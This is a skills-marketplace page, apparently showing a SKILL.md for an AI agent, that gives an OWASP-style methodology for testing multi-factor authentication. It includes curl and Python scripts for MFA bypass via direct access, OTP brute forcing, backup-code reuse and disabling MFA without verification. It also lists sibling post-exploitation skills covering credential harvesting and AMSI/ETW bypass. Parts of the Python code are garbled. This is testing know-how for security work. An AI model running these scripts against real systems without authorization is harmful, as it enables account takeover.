Menu
Le prompt qui vérifie d'abord la source est sélectionné par défaut. Vous pouvez passer à une commande directe ou télécharger une copie locale.
Lisez SKILL.md et les fichiers associés affichés par SkillsMP avant de décider de l'installer.
Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-athn-11La commande reste sur une seule ligne. Faites défiler horizontalement pour la vérifier avant de la copier.
Vous préférez une copie locale ? Téléchargez les fichiers actuellement disponibles dans SkillsMP.
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
Affichage de SKILL.md
Basé sur la classification professionnelle SOC
| name | wstg-athn-11 |
| description | Testing Multi-Factor Authentication (MFA) |
| category | authentication |
| owasp_id | WSTG-ATHN-11 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["authentication","login","credentials","mfa","wstg","athn"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-ATHN-11
Testing Multi-Factor Authentication (MFA)
Multi-Factor Authentication adds an additional layer of security beyond passwords. This test examines the implementation of MFA for weaknesses such as bypass vulnerabilities, weak OTP generation, lack of rate limiting, and improper enrollment procedures. A flawed MFA implementation can give users false confidence while not actually providing meaningful protection.
| Weakness | Description |
|---|---|
| Direct page access | Bypass MFA by accessing post-auth pages |
| Response manipulation | Change response to indicate MFA success |
| Brute force OTP | No rate limiting on attempts |
| Weak OTP generation | Predictable codes |
| Backup code reuse | Codes not single-use |
# After completing first factor, try to access protected pages directly
# without completing MFA
# Get session after password auth
session=$(curl -s -X POST "https://target.com/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"test","password":"password"}' \
-c - | grep session | awk '{print $7}')
# Try to access protected resources without MFA completion
protected_pages=(
"/dashboard"
"/account"
"/api/user"
"/settings"
"/api/sensitive-data"
)
for page in "${protected_pages[@]}"; do
response=$(curl -s "https://target.com$page" \
-H "Cookie: session=$session" \
-w "\nStatus: %{http_code}")
echo "$page: $(echo "$response" | tail -1)"
done
#!/bin/bash
# Test rate limiting on OTP attempts
MFA_TOKEN="temporary_mfa_token"
for otp in {000000..000100}; do
response=$(curl -s -X POST "https://target.com/api/verify-mfa" \
-H "Content-Type: application/json" \
-d "{\"token\":\"$MFA_TOKEN\",\"otp\":\"$otp\"}" \
-w "\n%{http_code}")
status=$(echo "$response" | tail -1)
if [ "$status" == "429" ]; then
echo "Rate limited after trying OTP: $otp"
break
fi
if echo "$response" | grep -qi "success"; then
echo "[SUCCESS] Valid OTP: $otp"
break
fi
done
#!/bin/bash
# Collect multiple OTPs to analyze patterns
echo "Request OTPs at different times to analyze patterns:"
for i in {1..10}; do
# Request SMS/Email OTP
response=$(curl -s -X POST "https://target.com/api/send-otp" \
-H "Authorization: Bearer $MFA_TOKEN" \
-H "Content-Type: application/json" \
-d '{"method":"email"}')
echo "Request $i at $(date +%s): $response"
sleep 5
done
# Check received OTPs for patterns:
# - Sequential?
# - Timestamp-based?
# - Short length?
# Test if changing response allows MFA bypass
# This is typically done with Burp Suite:
# 1. Submit wrong OTP
# 2. Intercept response
# 3. Change {"success": false} to {"success": true}
# 4. Check if access is granted
# Programmatic test:
# Submit with wrong OTP and check server-side validation
curl -s -X POST "https://target.com/api/verify-mfa" \
-H "Content-Type: application/json" \
-d '{"token":"mfa_token","otp":"000000"}' \
-v 2>&1 | grep -i "set-cookie"
# If new session cookie is set even with wrong OTP, there's an issue
# Test backup code security
# Use a backup code
backup_code="BACKUP-CODE-1"
curl -s -X POST "https://target.com/api/verify-mfa" \
-H "Authorization: Bearer $MFA_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"backup_code\":\"$backup_code\"}"
# Try to use the same code again
response=$(curl -s -X POST "https://target.com/api/verify-mfa" \
-H "Authorization: Bearer $MFA_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"backup_code\":\"$backup_code\"}")
if echo "$response" | grep -qi "success"; then
echo "[VULN] Backup code can be reused!"
else
echo "[OK] Backup code is single-use"
fi
# Test if MFA can be disabled without verification
# Try to disable MFA without OTP
curl -s -X POST "https://target.com/api/disable-mfa" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{}'
# Try to change MFA method without verification
curl -s -X POST "https://target.com/api/update-mfa" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"method":"sms","phone":"+1234567890"}'
# Test if MFA enrollment can be bypassed
curl -s -X POST "https://target.com/api/enable-mfa" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"method":"totp","skip_verification":true}'
# Test if "remember device" can be abused
# Enable remember device
curl -s -X POST "https://target.com/api/verify-mfa" \
-H "Content-Type: application/json" \
-d '{"token":"mfa_token","otp":"123456","remember_device":true}' \
-c cookies.txt
# Check device token
cat cookies.txt | grep -i "device\|remember\|trusted"
# Test if device token works from different IP
curl -s "https://target.com/api/login" \
-H "X-Forwarded-For: 1.2.3.4" \
-b cookies.txt
# Test device token expiration
# Test if token works on different browsers
#!/usr/bin/env python3
# Test TOTP implementation security
import pyotp
import time
# If you have access to the TOTP secret
secret = "TEST_SECRET_KEY"
totp = pyotp.TOTP(secret)
# Test if old codes are accepted (time window too large)
old_code = totp.at(time.time() - 120) # 2 minutes ago
response = requests.post(
"https://target.com/api/verify-mfa",
json={"otp": old_code}
)
print(f"2-minute old code: {response.status_code}")
# Test if future codes are accepted
future_code = totp.at(time.time() + 120) # 2 minutes ahead
response = requests.post(
"https://target.com/api/verify-mfa",
json={"otp": future_code}
)
print(f"2-minute future code: {response.status_code}")
# Codes should only be valid for ~30 seconds window
| Tool | Description | Usage |
|---|---|---|
| Burp Suite | Response manipulation | MFA bypass testing |
| pyotp | TOTP testing | Code generation/analysis |
| Custom scripts | Automated testing | OTP brute force |
| Tool | Description |
|---|---|
| oathtool | TOTP/HOTP generation |
| Python | Custom analysis scripts |
#!/usr/bin/env python3
import requests
import time
import pyotp
class MFATester:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
self.results = {}
def test_bypass_direct_access(self, partial_auth_cookie, protected_pages):
"""Test if MFA can be bypassed by direct page access"""
print("[*] Testing direct page access bypass...")
vulnerable = []
for page in protected_pages:
response = self.session.get(
f"{self.base_url}{page}",
cookies={"session": partial_auth_cookie}
)
if response.status_code == 200 and "login" not in response.url.lower():
vulnerable.append(page)
self.results["direct_access_bypass"] = {
"vulnerable_pages": vulnerable,
"vulnerable": len(vulnerable) > 0
}
def test_otp_brute_force(self, mfa_token, max_attempts=100):
"""Test rate limiting on OTP attempts"""
print()
blocked_at =
i (max_attempts):
otp = (i).zfill()
response = .session.post(
,
json={: mfa_token, : otp}
)
response.status_code == :
blocked_at = i +
.results[] = {
: blocked_at,
: blocked_at blocked_at >
}
():
()
response1 = .session.post(
,
json={: mfa_token, : backup_code}
)
response2 = .session.post(
,
json={: mfa_token, : backup_code}
)
.results[] = {
: response1.status_code,
: response2.status_code,
: response2.status_code ==
}
():
()
totp = pyotp.TOTP(secret)
now = time.time()
time_offsets = [-, -, -, -, -, , , , , , ]
accepted = []
offset time_offsets:
code = totp.at(now + offset)
response = .session.post(
,
json={: code}
)
response.status_code == :
accepted.append(offset)
.results[] = {
: accepted,
: ((o) > o accepted)
}
():
()
response = .session.post(
,
headers={: },
json={}
)
.results[] = {
: response.status_code != ,
: response.status_code ==
}
():
()
.results[] = {
: pre_mfa_session == post_mfa_session,
: pre_mfa_session == post_mfa_session
}
():
( + * )
()
( * + )
vulnerabilities = []
test_name, result .results.items():
vulnerable = result.get(, ) result.get(, )
status = vulnerable
()
key, value result.items():
key []:
()
vulnerable:
vulnerabilities.append(test_name)
()
( * )
()
vulnerabilities:
()
v vulnerabilities:
()
tester = MFATester()
tester.test_bypass_direct_access(, [, ])
tester.test_otp_brute_force()
tester.generate_report()
import pyotp
import secrets
from datetime import datetime, timedelta
class SecureMFA:
MAX_OTP_ATTEMPTS = 5
OTP_LOCKOUT_DURATION = 900 # 15 minutes
TOTP_VALID_WINDOW = 1 # Only current and previous code
def __init__(self, redis_client):
self.redis = redis_client
def generate_totp_secret(self):
"""Generate secure TOTP secret"""
return pyotp.random_base32()
def verify_totp(self, user_id, code):
"""Verify TOTP with rate limiting and narrow window"""
# Check rate limit
if not self.check_rate_limit(user_id):
return False, "Too many attempts"
user = User.query.get(user_id)
totp = pyotp.TOTP(user.totp_secret)
# Verify with narrow window (only current and previous code)
if totp.verify(code, valid_window=self.TOTP_VALID_WINDOW):
# Check if code was already used (replay protection)
if self.is_code_used(user_id, code):
return False, "Code already used"
self.mark_code_used(user_id, code)
self.clear_attempts(user_id)
,
.record_failed_attempt(user_id)
,
():
lockout_key =
.redis.exists(lockout_key):
attempts_key =
attempts = (.redis.get(attempts_key) )
attempts >= .MAX_OTP_ATTEMPTS:
.redis.setex(lockout_key, .OTP_LOCKOUT_DURATION, )
():
key =
.redis.incr(key)
.redis.expire(key, )
():
key =
.redis.sismember(key, code)
():
key =
.redis.sadd(key, code)
.redis.expire(key, )
():
codes = []
_ (count):
code = secrets.token_hex().upper()
codes.append(code)
code codes:
BackupCode.create(
user_id=user_id,
code_hash=hash_code(code),
used=
)
codes
():
code_hash = hash_code(code)
backup = BackupCode.query.filter_by(
user_id=user_id,
code_hash=code_hash,
used=
).first()
backup:
backup.used =
backup.used_at = datetime.utcnow()
db.session.commit()
@app.route('/api/verify-mfa', methods=['POST'])
def verify_mfa():
mfa_token = request.json.get('mfa_token')
otp = request.json.get('otp')
backup_code = request.json.get('backup_code')
# Validate MFA token
token_data = mfa_service.validate_temp_token(mfa_token)
if not token_data:
return jsonify({"error": "Invalid or expired MFA token"}), 401
user_id = token_data['user_id']
# Verify OTP or backup code
if otp:
success, error = mfa_service.verify_totp(user_id, otp)
elif backup_code:
success = mfa_service.verify_backup_code(user_id, backup_code)
error = None if success else "Invalid backup code"
else:
return jsonify({"error": "OTP or backup code required"}), 400
if not success:
return jsonify({"error": error}), 401
# Create NEW session (not reuse pre-MFA session)
session = create_new_session(user_id, mfa_verified=True)
# Invalidate MFA temp token
mfa_service.invalidate_temp_token(mfa_token)
return jsonify({"session_token": session.token})
def require_mfa_verification(f):
"""Decorator to require recent MFA verification"""
@wraps(f)
def decorated(*args, **kwargs):
if not current_user.mfa_enabled:
return f(*args, **kwargs)
# Check if MFA was recently verified
last_mfa = session.get('last_mfa_verification')
if not last_mfa or (datetime.utcnow() - last_mfa).seconds > 300:
return jsonify({
"error": "MFA verification required",
"require_mfa": True
}), 403
return f(*args, **kwargs)
return decorated
@app.route('/api/disable-mfa', methods=['POST'])
@login_required
@require_mfa_verification # Require fresh MFA before disabling
def disable_mfa():
otp = request.json.get('otp')
if not mfa_service.verify_totp(current_user.id, otp):
return jsonify({"error": "Invalid OTP"}), 401
current_user.mfa_enabled = False
current_user.totp_secret = None
db.session.commit()
# Notify user
send_mfa_disabled_notification(current_user)
jsonify({: })
| Finding | CVSS | Severity |
|---|---|---|
| MFA bypass via direct access | 9.8 | Critical |
| No rate limiting on OTP | 8.8 | High |
| Backup code reuse | 7.5 | High |
| Wide TOTP time window | 5.3 | Medium |
| MFA disable without verification | 7.5 | High |
| CWE ID | Title | Description |
|---|---|---|
| CWE-308 | Use of Single-factor Authentication | MFA bypass |
| CWE-307 | Improper Restriction of Excessive Authentication Attempts | OTP brute force |
| CWE-287 | Improper Authentication | MFA implementation flaws |
[ ] MFA bypass via direct access tested
[ ] OTP brute force protection tested
[ ] OTP predictability analyzed
[ ] Response manipulation tested
[ ] Backup code single-use verified
[ ] Backup code security tested
[ ] MFA enrollment security tested
[ ] MFA disable security tested
[ ] Remember device feature tested
[ ] TOTP time window verified
[ ] Session handling after MFA tested
[ ] Findings documented
[ ] Remediation recommendations provided